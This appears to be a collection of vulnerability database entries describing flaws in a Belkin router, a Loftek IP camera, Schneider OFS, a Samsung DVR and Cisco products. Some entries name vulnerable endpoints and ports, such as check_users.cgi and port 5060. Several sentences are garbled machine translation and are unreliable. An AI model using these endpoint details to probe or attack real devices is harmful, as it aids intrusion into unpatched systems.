The Belkin F5D7234-4 G is a wireless router product. Belkin F5D7234-4 G Wireless Router, firmware version 5.00.12, has an authentication bypass vulnerability and a remote code execution vulnerability. An attacker could exploit these vulnerabilities to obtain a device administrator login password, cause a denial of service, and perform unauthorized operations. The authentication bypass vulnerability stems from a problem with the handler for http://$ip/login.stm that can result in a leaked administrator login password hash. The remote code execution vulnerability stems from a problem with the handler for http://$ip/cgi-bin/wireless_WPS_Enroll.exe, which can cause a buffer overflow. Failed exploit attempts may result in a denial-of-service condition

Multiple cross-site request forgery (CSRF) vulnerabilities in the Loftek Nexus 543 IP Camera allow remote attackers to hijack the authentication of unspecified victims for requests that change (1) passwords or (2) firewall configuration, as demonstrated by a request to set_users.cgi. Loftek Nexus 543 Ip Camera is a webcam product. Such as changing the password and so on

Schneider Electric provides total solutions for the energy and infrastructure, industrial, data center and network, building and residential markets in more than 100 countries. Schneider Electric OFS software has errors in parsing XML external entities, allowing attackers to exploit the specially crafted XML data to obtain local resource information or consume a large amount of server resources. Schneider Electric OFS (OPC Factory Server) is a set of client applications that access data in real time from Schneider Electric (France). The application has features such as easy integration and custom interfaces. An XML external entity injection vulnerability exists in Schneider Electric OFS 3.40 and earlier. A local attacker could use this vulnerability to gain sensitive information or cause a denial of service

Directory traversal vulnerability in the Loftek Nexus 543 IP Camera allows remote attackers to read arbitrary files via a .. (dot dot) in the URL of an HTTP GET request. The Loftek Nexus 543 is an outdoor waterproof webcam. Loftek Nexus 543 is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input

The Loftek Nexus 543 IP Camera stores passwords in cleartext, which allows remote attackers to obtain sensitive information via an HTTP GET request to check_users.cgi. NOTE: cleartext passwords can also be obtained from proc/kcore when leveraging the directory traversal vulnerability in CVE-2013-3311. Loftek Nexus 543 IP Camera Contains a vulnerability related to information disclosure from the cache. This vulnerability CVE-2013-3311 Vulnerability associated with.Information may be obtained. The Loftek Nexus 543 is an outdoor waterproof webcam. Attackers can exploit vulnerabilities to get sensitive information

Samsung Web Viewer for Samsung DVR devices allows remote attackers to bypass authentication via an arbitrary SessionID value in a cookie. Samsung DVR is prone to an authentication-bypass vulnerability. Attackers can exploit this vulnerability to gain access to internal pages, including camera controls and account settings, which may aid in further attacks

Cisco Prime Central for Hosted Collaboration Solution (HCS) Assurance 8.6 and 9.x before 9.2(1) allows remote attackers to cause a denial of service (disk consumption) via a flood of TCP packets to port 5400, leading to large error-log files, aka Bug ID CSCua42724. Vendors have confirmed this vulnerability Bug ID CSCua42724 It is released as.Port by third party 5400 Large amount to TCP A large error log file is generated via a packet, which disrupts service operation. ( Disk consumption ) There is a possibility of being put into a state. Attackers can exploit this issue to trigger a disk exhaustion that results in a denial of service condition. This issue is being tracked by Cisco Bug ID CSCua42724. The platform provides functions such as secure access authentication and real-time fault analysis

Cisco Prime Central for Hosted Collaboration Solution (HCS) Assurance 8.6 and 9.x before 9.2(1) allows remote attackers to cause a denial of service (memory consumption) via a flood of TCP packets to port (1) 61615 or (2) 61616, aka Bug ID CSCtz90114. Successfully exploiting this issue allows remote attackers to consume excessive memory resources, potentially denying service to legitimate users. This issue is being tracked by Cisco Bug ID CSCtz90114. The platform provides functions such as secure access authentication and real-time fault analysis

Memory leak in Cisco Prime Central for Hosted Collaboration Solution (HCS) Assurance 8.6 and 9.x before 9.2(1) allows remote attackers to cause a denial of service (memory consumption) via a flood of TCP packets, aka Bug ID CSCub59158. The Cisco Prime Central for HCS Assurance is prone to a remote denial-of-service vulnerability. Attackers can exploit this issue to cause a denial of service condition. This issue is being tracked by Cisco Bug ID CSCub59158. Cisco Prime Central for HCS Assurance 9.1 and prior are vulnerable. The platform provides functions such as secure access authentication and real-time fault analysis

Cisco Unified Communications Manager (Unified CM) 7.1(x) before 7.1(5b)su6a does not properly handle errors, which allows remote attackers to cause a denial of service (service disruption) via malformed registration messages, aka Bug ID CSCuf93466. Vendors have confirmed this vulnerability Bug ID CSCuf93466 It is released as.Denial of service by a third party via a malformed registration message ( Service interruption ) There is a possibility of being put into a state. Attackers can exploit this issue to cause a denial of service condition. This issue is being tracked by Cisco Bug ID CSCuf93466. This component provides a scalable, distributed and highly available enterprise IP telephony call processing solution. The vulnerability is caused by the program's improper handling of exception conditions

Cisco Unified Communications Manager (Unified CM) 8.5(x) and 8.6(x) before 8.6(2a)su3 and 9.x before 9.1(1) does not properly restrict the rate of SIP packets, which allows remote attackers to cause a denial of service (memory and CPU consumption, and service disruption) via a flood of UDP packets to port 5060, aka Bug ID CSCub35869. Cisco Unified Communications Manager is prone to a denial-of-service vulnerability. Attackers can exploit this issue to cause a denial of service condition. This issue is being tracked by Cisco Bug ID CSCub35869. This component provides a scalable, distributed and highly available enterprise IP telephony call processing solution. The following versions are affected: Cisco Unified CM 8.5(x) and 8.6(2a) su3 prior to 8.6(x), 9.x prior to 9.1(1)